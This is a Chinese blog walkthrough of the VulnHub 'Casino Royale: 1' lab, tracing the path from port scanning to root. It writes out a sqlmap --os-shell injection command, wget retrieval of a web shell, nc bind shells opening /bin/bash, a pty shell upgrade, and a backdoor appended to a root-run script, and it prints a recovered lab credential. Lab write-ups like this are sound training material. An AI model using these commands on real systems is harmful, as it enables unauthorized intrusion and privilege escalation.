Fidcer'Blog

Casino Royale: 1

字数统计: 881阅读时长: 3 min
2019/02/27 Share

Casino Royale: 1

难度:

Intermediate

关于:

Will you gain your status as a 00 agent?

题目地址:https://www.vulnhub.com/entry/casino-royale-1,287/#

Flags:

您的目标是获取root和Flag is /root/flag/flag.sh

Write Up:

0x01 获取root

1.通过nmap扫描靶机端口版本,发现存在四个端口:21、25、80、8081
nmap -sV x.x.x.x
image.jpg

2.我们从80端口入手,首先查看网页的源代码并无发现线索,其次对80端口进行目录爆破找到一个phpmyadmin的登陆页面和一个install
dirb [url]
image.jpg

3.我们开打install页面出现这样一个界面,点击cliek to start install 后页面报错
image.jpg

4.存在install页面说明网站肯定存在这个cms,我们查找相关cms版本信息并获取到源代码且存在一个exp漏洞
image.jpg

5.翻开源代码后台路径是pokeradmin,并且发现登陆处并且未做sql注入防护
image.jpg

6.直接使用sqlmap跑取账户密码后getshell
sqlmap.py -u 'http://192.168.235.140:80/pokeradmin/' --data='op=adminlogin&username=admin&password=admin' --level=5 --risk=3 --os-shell
image.jpg
image.jpg

7.将kali开一个apache把一句话放在/var/www/html中,然后在靶机的shell中运行wget
image.jpg

8.打开中国蚁剑或中国菜刀(效果是一样的)配置如下
image.jpg
image.jpg

9.getshell后我们先将数据库的账户密码保存下来
valenka:11archives11!

image.jpg

10.在一段查看后没有发现有价值的信息,查看8081端口,主页面有一个Run Data Collect的按钮,点击后访问到collect.php

image.jpg

11.因为我们已经拿到www-data的权限了所以我们可以通过find来查找collect.php,找到8081端口的主目录在/opt/casino-royale/
find / -name [name]
image.jpg

12.进入8081端口主目录后查看文件权限
image.jpg

13.查看权限后发现只有casino-data-collection.py这个文件我可以修改,cat查看文件内容,python文件打开了user-data.log继续查看里面内容与collect.php内容一样
image.jpg

14.继续查看collect.php,基本了解程序大概的过程和出题人的思路,collect.php为root权限只可读所以不能更改但是执行的casino-data-collection.py为www-data组所以可以修改,而casino-data-collection.py打开了user-data.log所以php读到了log的内容,所以我们只要修改python文件即可获取到le的权限
解题思路:在python文件中通过os模块执行系统命令返回nc拿到le权限
image.jpg

image.jpg

15.修改python后,再在浏览器重新打开页面靶机会开启一个带bash的1111端口,使用攻击机的nc连接,获取到le的权限
image.jpg
image.jpg

16.但是这是一个半交互式的页面无法切换账户,通过查阅资料可以通过python调用本地shell

1
2
3
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py

python /tmp/asdf.py

image.jpg
image.jpg

17.在获取到le的交互式shell后尝试第九步中valenka的账户密码登录。成功登陆但是先切回le,exit退出
valenka:11archives11!
image.jpg

18.查看run.sh,并尝试运行mi6_detect_test这个程序,发现与run.sh中的内容相同,我猜测mi6_detect_test就是将run.sh运行
image.jpg
image.jpg

18.mi6_detect_test为root所以我们通过echo命令把后门写入run.sh在运行mi6既可获取到root权限
echo "nc -lvvp 1234 -t -e /bin/bash" >> run.sh
image.jpg

image.jpg

19.成功监听端口,攻击机nc连接靶机,并getflag
image.jpg

难点总结:
1.python半交互式切换到全交互式
2.mi6_detect_test和run.sh程序的关联
3.理清这几个程序之间的关系
4.无法通过内核漏洞提权

CATALOG
  1. 1. Casino Royale: 1
    1. 1.1. 难度:
    2. 1.2. 关于:
    3. 1.3. Flags:
    4. 1.4. Write Up:
      1. 1.4.1. 0x01 获取root